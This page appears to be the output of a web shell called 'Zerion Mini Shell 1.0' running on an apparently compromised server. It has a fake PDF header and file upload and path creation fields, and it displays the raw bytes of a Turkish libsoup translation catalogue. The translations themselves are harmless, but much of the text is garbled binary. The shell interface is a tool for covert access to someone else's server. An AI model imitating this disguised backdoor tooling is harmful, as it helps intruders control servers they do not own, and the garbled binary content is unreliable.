%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-42-2204/176/usr/share/locale/tr/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-42-2204/176/usr/share/locale/tr/LC_MESSAGES/libsoup-3.0.mo

��&L5|P#Q5u!�"�"�;1'm���#�0�/EV7k#�$�"� 0C[q"�#�&�%�M &n2��#�!�!?�\
47
)l
)�
#�
"�
=+Eq#��&�2�=S9k�$�+�&
=
U
j
#�
/�
.�
1;6Qr0�3�).C.r"�%�
&$!%#" 
	Cannot truncate SoupBodyInputStreamCan’t create a TLS server without a TLS certificateCan’t import unconnected socketConnection terminated unexpectedlyCould not import existing socket: Could not parse HTTP responseDuplicated parameter in “%s” WebSocket extension headerFailed to completely cache the resourceHeader too bigHostname has no base domainHostname is an IP addressIncorrect WebSocket “%s” headerInvalid URI “%s” in Location response headerInvalid WebSocket keyInvalid hostnameInvalid seek requestLocation header is missing or empty in response headersMessage is already in session queueMessage was restarted too many timesNetwork stream unexpectedly closedNo public-suffix list available.Not enough domainsOperation was cancelledOperation would blockOutput buffer is too smallServer ignored WebSocket handshakeServer rejected WebSocket handshakeServer requested unsupported extensionServer requested unsupported protocolServer returned a duplicated parameter in “%s” WebSocket extension headerServer returned incorrect “%s” keyThe server did not accept the WebSocket handshake.Too many redirectsUnrecognized HTTP response encodingUnsupported WebSocket subprotocolUnsupported WebSocket versionWebSocket handshake expectedProject-Id-Version: libsoup master
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/libsoup/issues
PO-Revision-Date: 2021-09-09 22:15+0300
Last-Translator: Emin Tufan Çetin <etcetin@gmail.com>
Language-Team: Türkçe <takim@gnome.org.tr>
Language: tr
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Generator: Poedit 2.4.3
X-POOTLE-MTIME: 1433280627.000000
SoupBodyInputStream kesilemiyorTLS sertifikası olmadan TLS sunucusu oluşturulamazBağlı olmayan yuva içe aktarılamıyorBağlantı beklenmeyen biçimde sonlandıVar olan yuva içe aktarılamadı: HTTP yanıtı ayrıştırılamadı“%s” WebSocket eklenti başlığında yinelenen parametreÖzkaynak tümüyle önbelleğe alınamadıBaşlık çok büyükAna makinenin temel etki alanı yokMakine adı bir IP adresiHatalı WebSocket “%s” başlığıKonum yanıt başlığında geçersiz URI “%s”Geçersiz WebSocket anahtarıGeçersiz makine adıGeçersiz arama isteğiKonum başlığı eksik veya yanıt başlıklarında boşİleti zaten oturum sırasındaİleti birçok kez yeniden başladıAğ akışı beklenmeyen biçimde sonlandıUygun halka açık son ek listesi yok.Yeterli etki alanı yokİşlem iptal edildiİşlem engellenebilirÇıkış arabelleği çok küçükSunucu, WebSocket el sıkışmasını yoksaydıSunucu, WebSocket el sıkışmasını reddettiSunucu, desteklenmeyen eklenti isteğinde bulunduSunucu, desteklenmeyen iletişim kuralı isteğinde bulunduSunucu, “%s” WebSocket eklenti başlığında yinelenen parametre döndürdüSunucu, geçersiz “%s” anahtarı döndürdüSunucu, WebSocket el sıkışmasını kabul etmedi.Çok sayıda yönlendirmeHTTP yanıtı tanınmayan biçimde kodlanmışDesteklenmeyen WebSocket alt iletişim kuralıDesteklenmeyen WebSocket sürümüWebSocket el sıkışması bekleniyor

Zerion Mini Shell 1.0